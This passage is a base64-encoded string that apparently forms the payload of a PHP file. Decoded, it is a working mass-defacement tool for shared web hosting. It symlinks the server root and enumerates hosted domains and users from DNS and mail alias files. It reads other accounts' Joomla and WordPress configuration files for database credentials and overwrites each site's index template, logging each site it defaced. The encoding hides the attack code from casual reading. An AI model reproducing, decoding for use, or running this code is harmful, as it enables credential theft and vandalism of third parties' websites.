RidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCmN1cmxfY2xvc2UoJGNoKTsNCg0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCc8ZGl2IGlkPSJtZXNzYWdlIiBjbGFzcz0idXBkYXRlZCI+Jyk7DQppZigkcG9zID09PSBmYWxzZSkgew0KICAgICRvdXRwdXQuPSAiWy1dIFVwZGF0aW5nIEluZGV4LnBocCBFcnJvcjxiciAvPiI7DQp9IGVsc2Ugew0KICAgICRvdXRwdXQuPSAiWytdIEluZGV4LnBocCBUZW1wbGF0ZSBVcGRhdGVkIFN1Y2Nlc3NmdWx5PGJyIC8+IjsNCgkkb3V0cHV0Lj0gJ1srXSBEZWZhY2UgJy5maWxlX2dldF9jb250ZW50cygkc2l0ZV91cmwuJy93cC1jb250ZW50L3RoZW1lcy8nLiR0ZW1wbGF0ZS4nL2luZGV4LnBocCcpOw0KICAgICRjb25kID0gMTsNCn0NCn0gZWxzZSB7DQokb3V0cHV0Lj0gIlstXSBpbmRleC5waHAgY2FuIG5vdCBsb2FkIGluIFRoZW1lIEVkaXRvcjxiciAvPiI7DQp9DQp9DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICAkb3V0cHV0Lj0gIlstXSBEQiBFcnJvcjxiciAvPiI7DQogICAgfQ0KICAgIGdsb2JhbCAkYmFzZV9wYXRoOw0KICAgIHVubGluaygkYmFzZV9wYXRoLidDT09LSUUudHh0Jyk7DQogICAgcmV0dXJuIGFycmF5KCdjb25kJz0+JGNvbmQsICdvdXRwdXQnPT4kb3V0cHV0ICwgJ3RlbXBsYXRlJz0+ICR0ZW1wbGF0ZSk7DQp9DQoNCmlmKCRfUE9TVFsnbW9kZSddPT0yKSB7DQovLyBzeW1saW5raW5nIA0KQG1rZGlyKCdzeW0nLDA3NzcpOw0KJGh0YWNjZXNzICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsNCmZpbGVfcHV0X2NvbnRlbnRzKCJzeW0vLmh0YWNjZXNzIiwkaHRhY2Nlc3MpOw0KQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KDQoNCi8vIGdldHRpbmcgc2l0ZXMgZnJvbSAoL3Zhci9uYW1lZCkgZmlsZQ0KJG5hbWVkPWZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlX3VybC4nL3N5bS9yb290L3Zhci9uYW1lZC8nKTsNCiRhciA9IGV4cGxvZGUoJzxsaT48YSBocmVmPSInLCAkbmFtZWQpOw0KZm9yKCR2aT0yOyR2aSA8IGNvdW50KCRhcik7JHZpKyspDQogICAgIHsNCiR2YXIxID0gc3RydG9rKCRhclskdmldLCAiICIpOw0KJHZhcjEgPSBzdWJzdHIoJHZhcjEsMCwtMik7DQokb2xkPSgnLmRiJyk7DQokbmV3PSgnJyk7DQokc2l0ZXMgPSBzdHJfcmVwbGFjZSgkb2xkICwgJG5ldyAsICR2YXIxKTsNCmZpbGVfcHV0X2NvbnRlbnRzKCdzaXRlcy50eHQnLCRzaXRlcyk7DQp9DQoNCi8vIGdldHRpbmcgdXNlcm5hbWVzDQokZG9tYWlucz1maWxlKCdzaXRlcy50eHQnKTsNCmZvcmVhY2ggKCRkb21haW5zIGFzICRkb21haW4pIHsNCiRvcmRlcj0oImxzIC1sYSAvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbik7DQokZXhlYz1leGVjKCRvcmRlcik7DQokZmlsZW5hbWUgPSAnbWFpbC50eHQnOw0KJGZwID0gZm9wZW4oJGZpbGVuYW1lLCAiYSsiKTsNCiR3cml0ZSA9IGZwdXRzKCRmcCwgJGV4ZWMuIlxuIik7DQpmY2xvc2UoJGZwKTsNCn0NCg0KJG1haWw9ZmlsZSgnbWFpbC50eHQnKTsNCmZvcmVhY2ggKCRtYWlsIGFzICRmaW5hbGRvbSkgew0KJHVzZXI9dHVuaXNpYSgkZmluYWxkb20sIi1ydy1yLS0tLS0gMSAiLCIgbWFpbCIpOw0KJHNpdGU9c3Vic3RyKHN0cnN0cigkZmluYWxkb20sICcvZXRjL3ZhbGlhc2VzJyksMTQpOw0KDQokZmlsZW5hbWUgPSAndXNlcmRvbS50eHQnOw0KJGZwID0gZm9wZW4oJGZpbGVuYW1lLCAiYSsiKTsNCiR3cml0ZSA9IGZwdXRzKCRmcCwgJHVzZXIuIjoiLiAkc2l0ZS4iICIpOw0KZmNsb3NlKCRmcCk7DQoNCn0NCg0KJGY9ZmlsZV9nZXRfY29udGVudHMoJ3VzZXJkb20udHh0Jyk7DQokZmluYWxzPWV4cGxvZGUoIiAiLCRmKTsNCmZvcmVhY2ggKCRmaW5hbHMgYXMgJGZpbmFsKXsNCiRzdHJsZW49KCc2Jyk7DQokZHI9c3RybGVuICgkZmluYWwpOw0KaWYgKCRkciA8ICRzdHJsZW4pIHsNCiRmaWxlbmFtZSA9ICdmYWlsLnR4dCc7DQokZnAgPSBmb3BlbigkZmlsZW5hbWUsICJhIik7DQokd3JpdGUgPSBmcHV0cygkZnAsICRmaW5hbCk7DQpmY2xvc2UoJGZwKTsNCn0NCmVsc2Ugew0KJGZpbGVuYW1lID0gJ3N1Y2Nlc3MudHh0JzsNCiRmcCA9IGZvcGVuKCRmaWxlbmFtZSwgImEiKTsNCiR3cml0ZSA9IGZwdXRzKCRmcCwgJGZpbmFsLiJcbiIpOw0KZmNsb3NlKCRmcCk7DQp9DQp9DQoNCi8vIG5vdyB0byB3b3JrDQokaW5kZXg9JF9QT1NUWyd0dW5pc2lhJ107DQokdXJsPSgkYmFzZV91cmwpOw0KJGE9ZmlsZSgkYmFzZV91cmwuJy9zdWNjZXNzLnR4dCcpOw0KZWNobyAoIjxjZW50ZXI+PHRhYmxlIGNsYXNzPSdyZXN1bHQnIHdpZHRoPScxMDAlJyBib3JkZXI9MSBjZWxsc3BhY2luZz0xIGNlbGxwYWRpbmc9MT4gIA0KPHRyPjx0aCB3aWR0aD01MCU+ZG9tYWluPC90ZD48dGggd2lkdGg9MjUlPlR5cGU8L3RkPjx0aCB3aWR0aD0yNSU+U3RhdHVzPC90ZD48L3RyPiIpOw0KJGtoYWxlZCA9IGZvcGVuKCdkZWZhY2VkLmh0bWwnLCAnYSsnKTsNCmZvcmVhY2ggKCRhIGFzICRmaW5hbCkgew0KbGlzdCgkdXNlciwgJHNpdGVfdXJsKSA9IGV4cGxvZGUoIjoiLCAkZmluYWwpOw0KJHNpdGVfdXJsdG8gPSBzdWJzdHIoJHNpdGVfdXJsLCAwLCAtMSk7DQovLyBqb29tbGEgc3ltbGlua3MNCiRqb29tbGE9JHVybC4iL3N5bS9yb290L2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwIjsNCiRqb29tbGEyPSR1cmwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXIuIi9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAiOw0KJGpvb21sYTM9JHVybC4iL3N5bS9yb290L2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAiOw0KLy8gd29yZHByZXNzIHN5bWxpbmtzDQokd29yZHByZXNzPSR1cmwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXIuIi9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwIjsNCiR3b3JkcHJlc3MyPSR1cmwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXIuIi9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAiOw0KJHdvcmRwcmVzczM9JHVybC4iL3N5bS9yb290L2hvbWUvIi4kdXNlci4iL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAiOw0KDQovLyBmaXJzdCBqb29tbGEgZ3Vlc3MNCmlmKCRqb29tbGEgJiYgcHJlZ19tYXRjaCgnL2RicHJlZml4L2knLCRqb29tbGEpKXsNCmVjaG8gJzx0cj48dGQ+PGEgaHJlZj0iaHR0cDovLycuJHNpdGVfdXJsdG8uJyIgdGFyZ2V0PSJibGFuayI+Jy4kc2l0ZV91cmx0by4nPC9hPjwvdGQ+JzsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBjb2xvcj0icGluayI+Sk9PTUxBPC9mb250PjwvdGQ+JzsNCiRyZXMgPSBpbmRleF9jaGFuZ2VyX2pvb21sYSgkam9vbWxhLCAkaW5kZXgsICRzaXRlX3VybHRvKTsNCmVjaG8gJzx0ZD4nLiRyZXNbJ291dHB1dCddLic8L3RkPic7DQppZigkcmVzWydjb25kJ10pIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0iZ3JlZW4iPkRFRkFDRUQ8L3NwYW4+PC90ZD4nOw0KZndyaXRlKCRraGFsZWQsICdodHRwOi8vJy4kc2l0ZV91cmx0by4nL3RlbXBsYXRlcy8nLiRyZXNbJ3RlbXBsYXRlJ10uJy9pbmRleC5waHA8YnI+Jyk7DQokY291bnQxID0gJGNvdW50MSsxOw0KfSBlbHNlIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0icmVkIj5GQUlMRUQ8L3NwYW4+PC90ZD4nOw0KfQ0KZWNobyAnPC90cj4nOw0KfQ0KLy8gc2Vjb25kIGpvb21sYSBndWVzcw0KaWYoJGpvb21sYTIgJiYgcHJlZ19tYXRjaCgnL2RicHJlZml4L2knLCRqb29tbGEyKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRzaXRlX3VybHRvLiciIHRhcmdldD0iYmxhbmsiPicuJHNpdGVfdXJsdG8uJzwvYT48L3RkPic7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InBpbmsiPkpPT01MQTwvZm9udD48L3RkPic7DQokcmVzID0gaW5kZXhfY2hhbmdlcl9qb29tbGEoJGpvb21sYTIsICRpbmRleCwgJHNpdGVfdXJsdG8pOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJGtoYWxlZCwgJ2h0dHA6Ly8nLiRzaXRlX3VybHRvLicvam9vbWxhLycuJHJlc1sndGVtcGxhdGUnXS4nL2luZGV4LnBocDxicj4nKTsNCiRjb3VudDEgPSAkY291bnQxKzE7DQp9IGVsc2Ugew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJyZWQiPkZBSUxFRDwvc3Bhbj48L3RkPic7DQp9DQplY2hvICc8L3RyPic7DQp9DQovLyB0aGlyZCBqb29tbGEgZ3Vlc3MNCmlmKCRqb29tbGEzICYmIHByZWdfbWF0Y2goJy9kYnByZWZpeC9pJywkam9vbWxhMykpew0KZWNobyAnPHRyPjx0ZD48YSBocmVmPSJodHRwOi8vJy4kc2l0ZV91cmx0by4nIiB0YXJnZXQ9ImJsYW5rIj4nLiRzaXRlX3VybHRvLic8L2E+PC90ZD4nOw0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJwaW5rIj5KT09NTEE8L2ZvbnQ+PC90ZD4nOw0KJHJlcyA9IGluZGV4X2NoYW5nZXJfam9vbWxhKCRqb29tbGEzLCAkaW5kZXgsICRzaXRlX3VybHRvKTsNCmVjaG8gJzx0ZD4nLiRyZXNbJ291dHB1dCddLic8L3RkPic7DQppZigkcmVzWydjb25kJ10pIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0iZ3JlZW4iPkRFRkFDRUQ8L3NwYW4+PC90ZD4nOw0KZndyaXRlKCRraGFsZWQsICdodHRwOi8vJy4kc2l0ZV91cmx0by4nL3NpdGUvJy4kcmVzWyd0ZW1wbGF0ZSddLicvaW5kZXgucGhwPGJyPicpOw0KJGNvdW50MSA9ICRjb3VudDErMTsNCn0gZWxzZSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+RkFJTEVEPC9zcGFuPjwvdGQ+JzsNCn0NCmVjaG8gJzwvdHI+JzsNCn0NCg0KLy8gZmlyc3Qgd29yZHByZXNzIGd1ZXNzDQppZigkd29yZHByZXNzICYmIHByZWdfbWF0Y2goJy9EQl9OQU1FL2knLCR3b3JkcHJlc3MpKXsNCmVjaG8gJzx0cj48dGQ+PGEgaHJlZj0iaHR0cDovLycuJHNpdGVfdXJsdG8uJyIgdGFyZ2V0PSJibGFuayI+Jy4kc2l0ZV91cmx0by4nPC9hPjwvdGQ+JzsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBjb2xvcj0ieWVsbG93Ij5XT1JEUFJFU1M8L2ZvbnQ+PC90ZD4nOw0KJHJlcyA9IGluZGV4X2NoYW5nZXJfd3AoJHdvcmRwcmVzcywgJGluZGV4KTsNCmVjaG8gJzx0ZD4nLiRyZXNbJ291dHB1dCddLic8L3RkPic7DQppZigkcmVzWydjb25kJ10pIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0iZ3JlZW4iPkRFRkFDRUQ8L3NwYW4+PC90ZD4nOw0KZndyaXRlKCRraGFsZWQsICdodHRwOi8vJy4kc2l0ZV91cmx0by4nL3dwLWNvbnRlbnQvdGhlbWVzLycuJHJlc1sndGVtcGxhdGUnXS4nL2luZGV4LnBocDxicj4nKTsNCiRjb3VudDIrKzsNCn0gZWxzZSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+RkFJTEVEPC9zcGFuPjwvdGQ+JzsNCn0NCmVjaG8gJzwvdHI+JzsNCiAgICAgICAgfQ0KCQkNCi8vIHNlY29uZCB3b3JkcHJlc3MgZ3Vlc3MNCmlmKCR3b3JkcHJlc3MyICYmIHByZWdfbWF0Y2goJy9EQl9OQU1FL2knLCR3b3JkcHJlc3MyKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRzaXRlX3VybHRvLiciIHRhcmdldD0iYmxhbmsiPicuJHNpdGVfdXJsdG8uJzwvYT48L3RkPic7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InllbGxvdyI+V09SRFBSRVNTPC9mb250PjwvdGQ+JzsNCiRyZXMgPSBpbmRleF9jaGFuZ2VyX3dwKCR3b3JkcHJlc3MyLCAkaW5kZXgpOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJGtoYWxlZCwgJ2h0dHA6Ly8nLiRzaXRlX3VybHRvLicvYmxvZy93cC1jb250ZW50L3RoZW1lcy8nLiRyZXNbJ3RlbXBsYXRlJ10uJy9pbmRleC5waHA8YnI+Jyk7DQokY291bnQyKys7DQp9IGVsc2Ugew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJyZWQiPkZBSUxFRDwvc3Bhbj48L3RkPic7DQp9DQplY2hvICc8L3RyPic7DQogICAgICAgIH0NCgkJDQovLyB0aGlyZCB3b3JkcHJlc3MgZ3Vlc3MNCmlmKCR3b3JkcHJlc3MzICYmIHByZWdfbWF0Y2goJy9EQl9OQU1FL2knLCR3b3JkcHJlc3MzKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRzaXRlX3VybHRvLiciIHRhcmdldD0iYmxhbmsiPicuJHNpdGVfdXJsdG8uJzwvYT48L3RkPic7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InllbGxvdyI+V09SRFBSRVNTPC9mb250PjwvdGQ+JzsNCiRyZXMgPSBpbmRleF9jaGFuZ2VyX3dwKCR3b3JkcHJlc3MzLCAkaW5kZXgpOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJGtoYWxlZCwgJ2h0dHA6Ly8nLiRzaXRlX3VybHRvLicvd3Avd3AtY29udGVudC90aGVtZXMvJy4kcmVzWyd0ZW1wbGF0ZSddLicvaW5kZXgucGhwPGJyPicpOw0KJGNvdW50MisrOw0KfSBlbHNlIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0icmVkIj5GQUlMRUQ8L3NwYW4+PC90ZD4nOw0KfQ0KZWNobyAnPC90cj4nOw0KICAgICAgICB9DQoJDQp9DQplY2hvICc8L3RhYmxlPic7DQplY2hvICc8aHIvPic7DQplY2hvICdUb3RhbCBEZWZhY2VkID0gJy4oJGNvdW50MSskY291bnQyKS4nIChKT09NTEEgPSAnLiRjb3VudDEuJywgV09SRFBSRVNTID0gJy4kY291bnQyLicpPGJyIC8+JzsNCmVjaG8gJzxhIGhyZWY9ImRlZmFjZWQuaHRtbCIgdGFyZ2V0PSJfYmxhbmsiPlNob3cgQWxsPC9hPjxiciAvPic7DQp9DQoNCmVsc2VpZigkX1BPU1RbJ21vZGUnXT09MSkgew0KICAgIEBta2Rpcignc3ltJywwNzc3KTsNCiAgICAkd3IgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsNCiAgICAkZnAgPSBAZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpOw0KICAgIGZ3cml0ZSgkZnAsICR3cik7DQogICAgQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KICAgICRkb21pbmlvcyA9IEBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7DQogICAgQHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTsNCiAgICAkb3V0WzFdID0gYXJyYXlfdW5pcXVlKCRvdXRbMV0pOw0KICAgICRudW1lcm9fZG9taW5pb3MgPSBjb3VudCgkb3V0WzFdKTsNCiAgICBlY2hvICJUb3RhbCBkb21haW5zOiAkbnVtZXJvX2RvbWluaW9zIDxicj48YnIgLz4iOw0KICAgICRkZWYgPSAkX1BPU1RbJ3R1bmlzaWEnXTsNCiAgICAkYmFzZV91cmwgPSAnaHR0cDovLycuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX05BTUUnXSkuJy9zeW0vcm9vdC9ob21lLyc7DQogICAgJG91dHB1dCA9IGZvcGVuKCdkZWZhY2VkLmh0bWwnLCAnYSsnKTsNCgllY2hvICgiPGNlbnRlcj48dGFibGUgY2xhc3M9J3Jlc3VsdCcgd2lkdGg9JzEwMCUnIGJvcmRlcj0xIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGluZz0xPiAgDQoJPHRyPjx0aCB3aWR0aD01MCU+ZG9tYWluPC90ZD48dGggd2lkdGg9MjUlPlR5cGU8L3RkPjx0aCB3aWR0aD0yNSU+U3RhdHVzPC90ZD48L3RyPiIpOyAgIA0KICAgJGogPSAxOw0KICAgICRzdCA9IChpc3NldCgkX0dFVFsnc3QnXSkgJiYgJF9HRVRbJ3N0J10hPScnKSA/ICRfR0VUWydzdCddIDogMDsNCiAgICBmb3IoJGkgPSAkc3Q7ICRpIDw9ICRudW1lcm9fZG9taW5pb3M7ICRpKyspDQogICAgew0KICAgICAgICAkZG9tYWluID0gJG91dFsxXVskaV07DQogICAgICAgICRkb25vX2FycXVpdm8gPSBAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbik7DQogICAgICAgICRpbmZvcyA9IEBwb3NpeF9nZXRwd3VpZCgkZG9ub19hcnF1aXZvKTsNCiAgICAgICAgDQogICAgICAgIGlmKCRpbmZvc1snbmFtZSddIT0ncm9vdCcpIHsNCiRjb25maWcwMSA9IEBmaWxlX2dldF9jb250ZW50cygkYmFzZV91cmwuJGluZm9zWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCIpOw0KJGNvbmZpZzAwMSA9IEBmaWxlX2dldF9jb250ZW50cygkYmFzZV91cmwuJGluZm9zWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAiKTsNCiRjb25maWcwMiA9IEBmaWxlX2dldF9jb250ZW50cygkYmFzZV91cmwuJGluZm9zWyduYW1lJ10uIi9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwIik7DQokY29uZmlnMDMgPSBAZmlsZV9nZXRfY29udGVudHMoJGJhc2VfdXJsLiRpbmZvc1snbmFtZSddLiIvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwIik7DQoNCmlmKCRjb25maWcwMDEgJiYgcHJlZ19tYXRjaCgnL2RicHJlZml4L2knLCRjb25maWcwMDEpKXsNCmVjaG8gJzx0cj48dGQ+PGEgaHJlZj0iaHR0cDovLycuJGRvbWFpbi4nIiB0YXJnZXQ9ImJsYW5rIj4nLiRkb21haW4uJzwvYT48L3RkPic7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InBpbmsiPkpPT01MQTwvZm9udD48L3RkPic7DQokcmVzID0gaW5kZXhfY2hhbmdlcl9qb29tbGEoJGNvbmZpZzAwMSwgJGRlZiwgJGRvbWFpbik7DQplY2hvICc8dGQ+Jy4kcmVzWydvdXRwdXQnXS4nPC90ZD4nOw0KaWYoJHJlc1snY29uZCddKSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9ImdyZWVuIj5ERUZBQ0VEPC9zcGFuPjwvdGQ+JzsNCmZ3cml0ZSgkb3V0cHV0LCAnaHR0cDovLycuJGRvbWFpbi4iPGJyPiIpOw0KJGNvdW50MSA9ICRjb3VudCsxOw0KfSBlbHNlIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0icmVkIj5GQUlMRUQ8L3NwYW4+PC90ZD4nOw0KfQ0KZWNobyAnPC90cj4nOw0KfQ0KICAgICAgICANCmlmKCRjb25maWcwMSAmJiBwcmVnX21hdGNoKCcvZGJwcmVmaXgvaScsJGNvbmZpZzAxKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRkb21haW4uJyIgdGFyZ2V0PSJibGFuayI+Jy4kZG9tYWluLic8L2E+PC90ZD4nOw0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJwaW5rIj5KT09NTEE8L2ZvbnQ+PC90ZD4nOw0KJHJlcyA9IGluZGV4X2NoYW5nZXJfam9vbWxhKCRjb25maWcwMSwgJGRlZiwgJGRvbWFpbik7DQplY2hvICc8dGQ+Jy4kcmVzWydvdXRwdXQnXS4nPC90ZD4nOw0KaWYoJHJlc1snY29uZCddKSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9ImdyZWVuIj5ERUZBQ0VEPC9zcGFuPjwvdGQ+JzsNCmZ3cml0ZSgkb3V0cHV0LCAnaHR0cDovLycuJGRvbWFpbi4iPGJyPiIpOw0KJGNvdW50MSA9ICRjb3VudCsxOw0KfSBlbHNlIHsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0icmVkIj5GQUlMRUQ8L3NwYW4+PC90ZD4nOw0KfQ0KZWNobyAnPC90cj4nOw0KfQ0KDQppZigkY29uZmlnMDIgJiYgcHJlZ19tYXRjaCgnL0RCX05BTUUvaScsJGNvbmZpZzAyKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRkb21haW4uJyIgdGFyZ2V0PSJibGFuayI+Jy4kZG9tYWluLic8L2E+PC90ZD4nOw0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPldPUkRQUkVTUzwvZm9udD48L3RkPic7DQokcmVzID0gaW5kZXhfY2hhbmdlcl93cCgkY29uZmlnMDIsICRkZWYpOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTsNCiRjb3VudDIgPSAkY291bnQyKzE7DQp9IGVsc2Ugew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJyZWQiPkZBSUxFRDwvc3Bhbj48L3RkPic7DQp9DQplY2hvICc8L3RyPic7DQp9DQppZigkY29uZmlnMDMgJiYgcHJlZ19tYXRjaCgnL0RCX05BTUUvaScsJGNvbmZpZzAzKSl7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRkb21haW4uJyIgdGFyZ2V0PSJibGFuayI+Jy4kZG9tYWluLic8L2E+PC90ZD4nOw0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPldPUkRQUkVTUzwvZm9udD48L3RkPic7DQokcmVzID0gaW5kZXhfY2hhbmdlcl93cCgkY29uZmlnMDMsICRkZWYpOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTsNCiRjb3VudDIgPSAkY291bnQyKzE7DQp9IGVsc2UgeyAgICANCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48c3BhbiBjbGFzcz0icmVkIj5GQUlMRUQ8L3NwYW4+PC90ZD4nOw0KfQ0KZWNobyAnPC90cj4nOw0KfQ0KICAgICAgICB9DQogICAgfQ0KICAgIGVjaG8gJzwvdGFibGU+JzsNCiAgICBlY2hvICc8aHIvPic7DQogICAgZWNobyAnVG90YWwgRGVmYWNlZCA9ICcuJGNvdW50MSArICRjb3VudDIuJyAoSk9PTUxBID0gJy4kY291bnQxLicsIFdPUkRQUkVTUyA9ICcuJGNvdW50Mi4nKTxiciAvPic7DQoJZWNobyAnPGEgaHJlZj0iZGVmYWNlZC5odG1sIiB0YXJnZXQ9Il9ibGFuayI+U2hvdyBBbGw8L2E+PGJyIC8+JzsNCn0NCmVsc2Ugew0KZWNobyAnDQo8dGFibGU+DQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPHRyPg0KCTx0ZD5pbmRleCB1cmwgOiA8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNjAiIG5hbWU9InR1bmlzaWEiIHBsYWNlaG9sZGVyPSJwdXQgeW91ciBpbmRleCB1cmwgaGVyZSAhIj48L3RkPg0KPC90cj4NCjx0cj4NCgk8dGQ+dXNlIDogPC90ZD4NCjwvdHI+DQo8dHI+DQoJPHRkPjxpbnB1dCB0eXBlPSJyYWRpbyIgdmFsdWU9IjEiIG5hbWU9Im1vZGUiPjwvdGQ+PHRkPi9ldGMvbmFtZWQuY29uZjwvdGQ+DQo8L3RyPg0KPHRyPg0KCTx0ZD48aW5wdXQgdHlwZT0icmFkaW8iIGNoZWNrZWQ9ImNoZWNrZWQiIHZhbHVlPSIyIiBuYW1lPSJtb2RlIj48L3RkPjx0ZD4vdmFyL25hbWVkPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGJyPjxjZW50ZXI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idHVuaXNpYV9kZWZhY2UiIHZhbHVlPSJEZWZhY2UiPjwvdGQ+DQo8L3RyPg0KPC9mb3JtPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQonOw0KfQ0KPz4=';
